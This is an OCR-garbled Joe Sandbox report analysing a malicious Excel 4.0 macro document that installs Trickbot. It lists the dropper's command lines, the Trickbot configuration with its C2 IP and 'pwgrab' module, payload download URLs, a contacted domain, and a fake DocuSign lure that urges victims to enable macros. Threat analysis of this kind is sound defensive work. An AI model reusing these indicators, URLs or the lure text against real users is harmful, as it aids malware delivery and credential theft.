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Analysis Report Securitelnfo.com.Exploit.Siggen3.1035...
Overview

General Information Detection

Sample Securitelnfo.com.Exploit.Si

Name: ggen3.10350.13127.32739 MALICIOUS
(renamed file extension
from 32739 to xls)

Classification

Antivirus detection for URL or domain
Document exploit detected (drops P...

Analysis ID: 355606 Found malicious Excel 4.0 Macro

MDS: 31964397103260.. Found malware configuration
SHAL: 7c2dclc68edaeff.. Multi AV Scanner detection for subm...
SHA256: 12956825df5f2b7...

Office document tries to convince Vvi...

Most interesting Screenshot:

Snort IDS alert for network traffic (e....

Yara detected Trickbot

Hidden Macro 4.0

Yara detected Trickbot

Trickbot
ore 00 Allocates memory in foreign process...
Range: 0-100 C2 URLs / IPs found in malware con...
Whitelisted: false
) Document exploit detected (UrlDown...
: Confidence: 100%
e g | Document exploit detected|(process....

w
«Q
>
2
(=
=
®
(7]

Startup

= System is w7x64
. EXCEL.EXE (PID: 1916 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
. D rundll32.exe (PID: 2828 cmdline: rundll32 .\BASE.BABAA,DIIRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 1980 cmdline: rundll32 .\BASE.BABAA,DIIRegisterServer MD5: 51138BEEA3E2C21EC44D0932C71762A8)
e B wermgr.exe (PID: 2884 cmdline: C:\Windows\system32\wermgr.exe MD5: 41DF7355A5A907E2C1D7804EC028965D)
e [m] wermgr.exe (PID: 2892 cmdline: C:\Windows\system32\wermgr.exe MD5: 41DF7355A5A907E2C1D7804EC028965D)
= cleanup

Malware Configuration

Threatname: Trickbot

"gtag": "rob60",

"C2 list": [
"200.52.147.93:443"

1,

"modules”: [
"pwgrab",

"mcconf"

Yara Overview

Initial Sample

Source Rule Description Author Strings

Copyright null 2021
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Source Rule Description Author Strings
Securitelnfo.com.Exploit.Siggen3.10350.13127 .xIs SUSP_ExceldMacro_Auto Detects Exceld John Lambert e 0x0:$header_docf: DO CF 11 EO
Open macro use with @JohnLaTwC e 0Ox26ca2:$sl: Excel
auto open / close e 0x27d0a:$s1: Excel
e 0x35b4:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 O
000 00 00 00 00 00 00 00 01 3A
Memory Dumps
Source Rule Description Author Strings
00000004.00000002.2081720951.00000000005 JoeSecurity_TrickBot_4  Yara detected Joe Security
D8000.00000004.00000001.sdmp Trickbot
00000004.00000003.2077502883.0000000000764000.0000 JoeSecurity_TrickBot_4  Yara detected Joe Security
0004.00000001.sdmp Trickbot
00000004.00000002.2081503635.0000000000130000.0000 JoeSecurity_TrickBot_4 Yara detected Joe Security
0040.00000001.sdmp Trickbot
00000004.00000003.2077497175.0000000000764000.0000 JoeSecurity_TrickBot_4 Yara detected Joe Security
0004.00000001.sdmp Trickbot
00000004.00000002.2081774299.0000000000730000.0000 JoeSecurity_TrickBot_4 Yara detected Joe Security
0004.00000020.sdmp Trickbot
Click to see the 1 entries

Unpacked PEs
Source Rule Description Author Strings
4.2.rundll32.exe.130000.0.unpack JoeSecurity_TrickBot_4  Yara detected Joe Security

Trickbot
4.2.rundll32.exe.130000.0.raw.unpack JoeSecurity_TrickBot_4  Yara detected Joe Security

Sigma Overview

System Summary:

Trickbot

Signature Overview

@ Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain
Found malware configuration

Multi AV Scanner detection for submitted file
Copyright null 2021

@ AV Detection

@ Cryptography

@ Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

@ System Summary

©® Data Obfuscation

@ Persistence and Installation Behavior

@ Boot Survival

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information

@ Remote Access Functionality
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Yara detected Trickbot

]‘

Compliance:

Uses new MSVCR DlIs

Binary contains paths to debug symbols

Software Vulnerabilities:

]

Document exploit detected (drops PE files)

Networking:

]

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

E‘

E-Banking Fraud:

Yara detected Trickbot

]

System Summary:

Found malicious Excel 4.0 Macro

Office document tries to c nce victim to disable security protection (e.g. to enable ActiveX or Macros)

Boot Survival:

=

]‘

Malware Analysis System Evasion:

HIPS | PFW | Operating System Protection Evasion:

]

]

Stealing of Sensitive Information:

Yara detected Trickbot

Yara detected Trickbot

Remote Access Functionality:

=

Yara detected Trickbot
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Yara detected Trickbot

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command and  Networ
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Control Effects
Valid Scripting Path Access Token Masquerading oS Query Registry Remote Archive Exfiltration Encrypted Eavesd
Accounts Interception Manipulation Credential Services Collected ~ Over Other Channel Insecur
Dumping Data Network Networt
Medium Commu
Default Native API Boot or Process Disable or Modify LSASS Security Software  Remote Data from  Exfiltration Ingress Tool Exploit :
Accounts Logon Injection Tools Memory  Discovery Desktop Removable Over Transfer Redirec
Initialization Protocol Media Bluetooth Calls/s!
Scripts
Domain Exploitation for ' Logon Script Extra Window Access Token Security Process SMB/Windows Data from Automated Non-Application Exploit:
Accounts Client (Windows)  Memory Manipulation Account Discovery Admin Shares Network Exfiltration Layer Protocol Track D
Execution Injection Manager Shared Locatiol
Drive
Local At (Windows) Logon Script Logon Script Process NTDS System Network Distributed Input Scheduled Application Layer SIM Ca
Accounts (Mac) (Mac) Injection Configuration Component Capture Transfer Protocol Swap
Discovery Object Model
Cloud Cron Network Network Logon  Scripting LSA File and Directory SSH Keylogging Data Fallback Manipul
Accounts Logon Script Script Secrets Discovery Transfer Channels Device
Size Limits Commu
Replication Launchd Rc.common Rc.common Obfuscated Files or Cached System VNC GUI Input  Exfiltration Multiband Jammin
Through Information Domain Information Capture Over C2 Communication  Denial ¢
Removable Credentials Discovery Channel Service
Media
External Scheduled Task Startup Startup Items Rundll32 DCSync Network Sniffing Windows Web Portal Exfiltration Commonly Used Rogue
Remote Items Remote Capture Over Port Access
Services Management Alternative
Protocol
Drive-by Command and Scheduled  Scheduled Extra Window Memory Proc Network Service Shared Credential Exfiltration Application Layer Downgr
Compromise Scripting Task/Job Task/Job Injection Filesystem Scanning Webroot API| Over Protocol Insecur
Interpreter Hooking Symmetric Protoco
Encrypted
Non-C2
Protocol

Behavior Graph
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Hide Legend

Behavior Graph
0 aso008 Legend:
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[c] Internet
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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I3 Securitelnfo.com.Exploit Siggen3.1035013127 [Compatibility Made] - Microsoft Excel - Securitelnfo.com.Exploit.Siggen3.1035013127 [Compatibility Mode]
Home | Inset  Pagelayout  Formulas  Data  Review  View

o B8
2@ o @ =

& cut Calibri -1 Y ==/ i Wrap Text General - :rd 2 B | e Tx [ E Avtesum- '3‘?
33 Copy ~ = | -fEd 8 o ﬂ—l & Fn- 7 \;&

B I U-| i EEMergeacenter~ § v % s | %@ 29 Conditional Format Cell | Insert Delete Format
== Formatting - as Table - Styles = |~ - -
Clipboard Font Alignment Humber Styles Cells

# Format Painter

Sort & Find &

2 Clear - Filter~ Select -

Editing

FA

D

Docugjﬁm,i {CITHIS DOCUMENT IS PROTECTED

To open the document, follow these steps:

This document is only available for desktop or laptop versions of
Microsoft Office Word

Click Enable editing button from the yellow bar above

Once you have enabled editing, please click Enable content button
from the yellow bar above

W ¢+ M| DocuSign %]

Ready | |[ED D 100% =

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner

Securitelnfo.com.Exploit.Siggen3.10350.13127.xIs 11% Virustotal

Dropped Files

Source Detection Scanner
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T40403J 11% Metadefender
Z\10[1].jjkes

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T40403J 6% ReversingLabs
Z\10[1].jkes

C:\Users\user\BASE.BABAA 11% Metadefender
C:\Users\user\BASE.BABAA 6% ReversingLabs

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner
chipmania.it 1% Virustotal
www.chipmania.it 2% Virustotal

Copyright null 2021

216 AM
2200202 | |

< R

Label

Label

Win32.Trojan.Trickpak

Win32.Trojan.Trickpak

Label

Link

Browse

Link

Browse

Browse

Link
Browse

Browse
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https://www.virustotal.com/gui/file/12956825df5f2b791e53c1a2ab9d7afbd8e59411b01f61a1f78ef6c5770c3ef4/detection/f-12956825df5f2b791e53c1a2ab9d7afbd8e59411b01f61a1f78ef6c5770c3ef4-1613772582
https://www.metadefender.com/#!/results/file/bzIxMDIyMDBtOXlhcUNyb0pIZ25IU1hTMVo/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDIyMDBtOXlhcUNyb0pIZ25IU1hTMVo/regular/analysis
https://www.virustotal.com/gui/url/6c3d774f86912711149825f75e3f597c42b4ade09bf7175d1e3369a23e554ba6/detection/u-6c3d774f86912711149825f75e3f597c42b4ade09bf7175d1e3369a23e554ba6-1613752433
https://www.virustotal.com/gui/url/2191fd2ada0c32be58c9cd374ef388aa3dba35adb4a8eaa2abbdc220912a9345/detection/u-2191fd2ada0c32be58c9cd374ef388aa3dba35adb4a8eaa2abbdc220912a9345-1613776568

URLs

Source Detection Scanner Label Link
hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://ocsp.entrust.net03 0% URL Reputation safe
hitp://ocsp.entrust.net03 0% URL Reputation safe
hitp://ocsp.entrust.net03 0% URL Reputation safe
hitp://ocsp.entrust.net03 0% URL Reputation safe
hitp:// 0% Avira URL Cloud safe
https://142.202.191.164/rob60/320946_W617601.FO9BBFBBC7DBF7A22FB7533B3DADD73B3/5/file/
hitp://www.chipmania.it/mails/open.php 5% Virustotal Browse
o wwcmeatmaseenste om0 ARG maae
http://https://200.52.147.93/rob60/320946_W617601.FOBBFBBC7DBF7A22FB7533B3DADD73B3/5/file// 0% Avira URL Cloud safe
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/f\www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
hitp:/f\www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
hitp:/f\www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
hitp:/f\www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://ocsp.entrust.netOD 0% URL Reputation safe
hitp://ocsp.entrust.netOD 0% URL Reputation safe
hitp://ocsp.entrust.netOD 0% URL Reputation safe
hitp://ocsp.entrust.netOD 0% URL Reputation safe
hitp://servername/isapibackend.dll 0% Avira URL Cloud safe
http://https://200.52.147.93/rob60/320946_W617601.FOBBFBBC7DBF7A22FB7533B3DADD73B3/5/file/ 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
chipmania.it 185.81.0.78 true false e 1%, Virustotal, Browse unknown
www.chipmania.it unknown unknown false e 2%, Virustotal, Browse unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
hitp/;
URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation

Copyright null 2021 Page 10 of 50


https://www.virustotal.com/gui/url/8903bc8c57f6daf26f37aa094c23c608337e07c45016e6bc5a9ff1e49c3cbc6d/detection/u-8903bc8c57f6daf26f37aa094c23c608337e07c45016e6bc5a9ff1e49c3cbc6d-1613754969
https://www.virustotal.com/gui/url/6c3d774f86912711149825f75e3f597c42b4ade09bf7175d1e3369a23e554ba6/detection/u-6c3d774f86912711149825f75e3f597c42b4ade09bf7175d1e3369a23e554ba6-1613752433
https://www.virustotal.com/gui/url/2191fd2ada0c32be58c9cd374ef388aa3dba35adb4a8eaa2abbdc220912a9345/detection/u-2191fd2ada0c32be58c9cd374ef388aa3dba35adb4a8eaa2abbdc220912a9345-1613776568
https://www.virustotal.com/gui/url/8903bc8c57f6daf26f37aa094c23c608337e07c45016e6bc5a9ff1e49c3cbc6d/detection/u-8903bc8c57f6daf26f37aa094c23c608337e07c45016e6bc5a9ff1e49c3cbc6d-1613754969

Name

hitp://services.msn.com/svcs/oe/certpage.asp?
name=%s&email=%s&&Check

hitp:/f/www.windows.com/pctv.

hitp://investor.msn.com

hitp://www.msnbc.com/news/ticker.txt

hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0

hitp://iwww.icra.org/vocabulary/.

http:/f
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous

hitp://crl.entrust.net/serverl.crl0

hitp://ocsp.entrust.net03

hitp://investor.msn.com/

http:/f
https://142.202.191.164/rob60/320946_W617601.FO9BBFBBC7
DBF7A22FB7533B3DADD73B3/5/file/

http:/f
https://200.52.147.93/rob60/320946_W617601.FO9BBFBBC7D
BF7A22FB7533B3DADD73B3/5/file//

hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0

hitpiwww.%s.comPA

hitp:/f\www.diginotar.nl/cps/pkioverheid0

hitp://iwindowsmedia.com/redir/services.asp?
WMPFriendly=true

Copyright null 2021

Source Malicious Antivirus Detection

rundll32.exe, 00000003.0000000
2.2083207432.0000000001D37000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2082015096.000
0000002317000.00000002.0000000
1.sdmp, wermgr.exe, 00000006.0
0000002.2349365108.0000000033A
C7000.00000002.00000001.sdmp

false

wermgr.exe, 00000006.00000002. false
2349178856.00000000338E0000.00

000002.00000001.sdmp

rundll32.exe, 00000003.0000000
2.2082979056.0000000001B50000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2081858418.000
0000002130000.00000002.0000000
1.sdmp, wermgr.exe, 00000006.0
0000002.2349178856.00000000338
E0000.00000002.00000001.sdmp

false

rundll32.exe, 00000003.0000000
2.2082979056.0000000001B50000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2081858418.000
0000002130000.00000002.0000000
1.sdmp, wermgr.exe, 00000006.0
0000002.2349178856.00000000338
E0000.00000002.00000001.sdmp

false

wermgr.exe, 00000006.00000002. false
2343795970.000000000026F000.00

000004.00000020.sdmp

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

e o o o

rundll32.exe, 00000003.0000000
2.2083207432.0000000001D37000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2082015096.000
0000002317000.00000002.0000000
1.sdmp, wermgr.exe, 00000006.0
0000002.2349365108.0000000033A
C7000.00000002.00000001.sdmp

false URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:

e o o o

wermgr.exe, 00000006.00000002. false
2348794656.00000000334F0000.00

000002.00000001.sdmp

wermgr.exe, 00000006.00000002. false
2343795970.000000000026F000.00

000004.00000020.sdmp

false URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:

wermgr.exe, 00000006.00000002.
2343795970.000000000026F000.00
000004.00000020.sdmp

e o o o

rundll32.exe, 00000003.0000000
2.2082979056.0000000001B50000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2081858418.000
0000002130000.00000002.0000000
1.sdmp, wermgr.exe, 00000006.0
0000002.2349178856.00000000338
E0000.00000002.00000001.sdmp

false

wermgr.exe, 00000006.00000002. false Avira URL Cloud:
2343779349.000000000024A000.00

000004.00000020.sdmp

3

wermgr.exe, 00000006.00000002.
2343761722.000000000021E000.00
000004.00000020.sdmp

false Avira URL Cloud:

3

wermgr.exe, 00000006.00000002. false
2343795970.000000000026F000.00

000004.00000020.sdmp

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

e o o o

wermgr.exe, 00000006.00000002. false
2348794656.00000000334F0000.00

000002.00000001.sdmp

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

e o o o

wermgr.exe, 00000006.00000002.
2343795970.000000000026F000.00
000004.00000020.sdmp

false URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:

e o o o

rundll32.exe, 00000003.0000000
2.2083207432.0000000001D37000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2082015096.000
0000002317000.00000002.0000000
1.sdmp, wermgr.exe, 00000006.0
0000002.2349365108.0000000033A
C7000.00000002.00000001.sdmp

false URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:

e o o o

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe

safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

safe
safe
safe
safe

Reputation

high

high

high

high

unknown

unknown

high

high

unknown

high

unknown

unknown

unknown

low

unknown

unknown
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Name

hitp:/fiwww.hotmail.com/oe

hitp://ocsp.entrust.netOD

hitp://https://secure.comodo.com/CPS0

hitp://servername/isapibackend.dll

hitp://crl.entrust.net/2048ca.crl0

hitp:iy
https://200.52.147.93/rob60/320946_W617601.FOBBFBBC7D  2343826790.00000000002C1000.00
000004.00000020.sdmp, wermgr.exe,
00000006.00000002.23437617
22.000000000021E000.00000004.0
0000020.sdmp

BF7A22FB7533B3DADD73B3/5/file/

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public

IP Domain
142.202.191.164 unknown
108.170.20.75 unknown
185.81.0.78 unknown
200.52.147.93 unknown

Copyright null 2021

Source Malicious Antivirus Detection

rundlI32.exe, 00000003.0000000 false
2.2082979056.0000000001B50000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2081858418.000
0000002130000.00000002.0000000

1.sdmp, wermgr.exe, 00000006.0
0000002.2349178856.00000000338
E0000.00000002.00000001.sdmp

wermgr.exe, 00000006.00000002. false e URL Reputation: safe

2343795970.000000000026F000.00 e URL Reputation: safe

000004.00000020.sdmp e URL Reputation: safe
e URL Reputation: safe

wermgr.exe, 00000006.00000002. false

2343795970.000000000026F000.00

000004.00000020.sdmp

wermgr.exe, 00000006.00000002. false e Avira URL Cloud: safe

2349584225.0000000034050000.00
000002.00000001.sdmp

wermgr.exe, 00000006.00000002. false

2343795970.000000000026F000.00

000004.00000020.sdmp

wermgr.exe, 00000006.00000002. false e Avira URL Cloud: safe

Country Flag ASN
Reserved 398019
United States = 20454
Italy T} 52030
Honduras = 27932

ASN Name
DYNUUS
SSASN2US
SERVERPLAN-ASIT

Reputation

high

unknown

high

low

high

unknown
Malicious
true
true
false
true
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General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time Type

03:16:38 API Interceptor
03:16:38 API Interceptor

Copyright null 2021

1x Sleep call for process: rundll32.exe modified

7x Sleep call for process: wermgr.exe modified

31.0.0 Emerald

355606

20.02.2021

03:16:16

CloudBasic

Oh 7m 2s

false

light
Securitelnfo.com.Exploit.Siggen3.10350.13127.32739
(renamed file extension from 32739 to xIs)

defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

8
0
0
0
0

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL
mal100.troj.expl.evad.winXLS@9/11@1/4
Failed

e Successful, ratio: 7.6% (good quality ratio 4.8%)
e Quality average: 58.5%
e Quality standard deviation: 46.4%

Failed

Adjust boot time

Enable AMSI

Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

e o o o o o

Show All

e Exclude process from analysis (whitelisted):
dllhost.exe

e TCP Packets have been reduced to 100

e Excluded IPs from analysis (whitelisted):
2.20.142.210, 2.20.142.209, 93.184.221.240

e Excluded domains from analysis (whitelisted):
au.download.windowsupdate.com.edgesuite.net,
wu.ec.azureedge.net,
audownload.windowsupdate.nsatc.net,
cs1l.wpc.vOcdn.net, hib.apr-52dd2-
0.edgecastdns.net, ctldl.windowsupdate.com,
a767.dscg3.akamai.net, wu.wpc.apr-
52dd2.edgecastdns.net, au-bg-
shim.trafficmanager.net, wu.azureedge.net
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Joe Sandbox View | Context

IPs

Match
142.202.191.164

108.170.20.75

185.81.0.78

Copyright null 2021

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

>
3
17
[=]
S
2
[
[=1
[72]
o
3
-
o
2
g
3
)
c
A
r

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.chipm
ania.it/ma
ils/open.php

e www.chipm
ania.it/ma
ils/open.php

e www.chipm
ania.it/ma
ils/open.php

e www.chipm
ania.it/ma
ils/open.php

e www.chipm
ania.it/ma
ils/open.php

e www.chipm
ania.it/ma
ils/open.php

e www.chipm
ania.it/ma
ils/open.php

e www.chipm
ania.it/ma
ils/open.php

e www.chipm
ania.it/ma
ils/open.php
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https://view.joesandbox.com/analysis/266499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266499/html/none?idtype=webid
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid
https://view.joesandbox.com/analysis/266455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266455/html/none?idtype=webid
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid
https://view.joesandbox.com/analysis/266414/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266414/html/none?idtype=webid
https://view.joesandbox.com/analysis/266144/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266144/html/none?idtype=webid
https://view.joesandbox.com/analysis/266139/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266139/html/none?idtype=webid
https://view.joesandbox.com/analysis/266098/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266098/html/none?idtype=webid
https://view.joesandbox.com/analysis/265984/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265984/html/none?idtype=webid
https://view.joesandbox.com/analysis/265669/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265669/html/none?idtype=webid
https://view.joesandbox.com/analysis/265660/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265660/html/none?idtype=webid
https://view.joesandbox.com/analysis/265659/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265659/html/none?idtype=webid
https://view.joesandbox.com/analysis/265652/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265652/html/none?idtype=webid
https://view.joesandbox.com/analysis/265276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265276/html/none?idtype=webid
https://view.joesandbox.com/analysis/265171/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265171/html/none?idtype=webid
https://view.joesandbox.com/analysis/264019/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264019/html/none?idtype=webid
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid
https://view.joesandbox.com/analysis/266495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266495/html/none?idtype=webid
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid
https://view.joesandbox.com/analysis/266453/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266453/html/none?idtype=webid
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid
https://view.joesandbox.com/analysis/266414/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266414/html/none?idtype=webid
https://view.joesandbox.com/analysis/266406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266406/html/none?idtype=webid
https://view.joesandbox.com/analysis/266145/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266145/html/none?idtype=webid
https://view.joesandbox.com/analysis/266139/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266139/html/none?idtype=webid
https://view.joesandbox.com/analysis/266133/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266133/html/none?idtype=webid
https://view.joesandbox.com/analysis/266098/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266098/html/none?idtype=webid
https://view.joesandbox.com/analysis/266091/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266091/html/none?idtype=webid
https://view.joesandbox.com/analysis/265660/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265660/html/none?idtype=webid
https://view.joesandbox.com/analysis/265652/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265652/html/none?idtype=webid
https://view.joesandbox.com/analysis/265276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265276/html/none?idtype=webid
https://view.joesandbox.com/analysis/265171/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265171/html/none?idtype=webid
https://view.joesandbox.com/analysis/263945/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263945/html/none?idtype=webid
https://view.joesandbox.com/analysis/263941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263941/html/none?idtype=webid
https://view.joesandbox.com/analysis/266499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266499/html/none?idtype=webid
https://view.joesandbox.com/analysis/266498/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266498/html/none?idtype=webid
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid
https://view.joesandbox.com/analysis/266496/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266496/html/none?idtype=webid
https://view.joesandbox.com/analysis/266495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266495/html/none?idtype=webid
https://view.joesandbox.com/analysis/266494/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266494/html/none?idtype=webid
https://view.joesandbox.com/analysis/266493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266493/html/none?idtype=webid
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid
https://view.joesandbox.com/analysis/266490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266490/html/none?idtype=webid

Match

Domains

Match

ASN

Match
DYNUUS

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
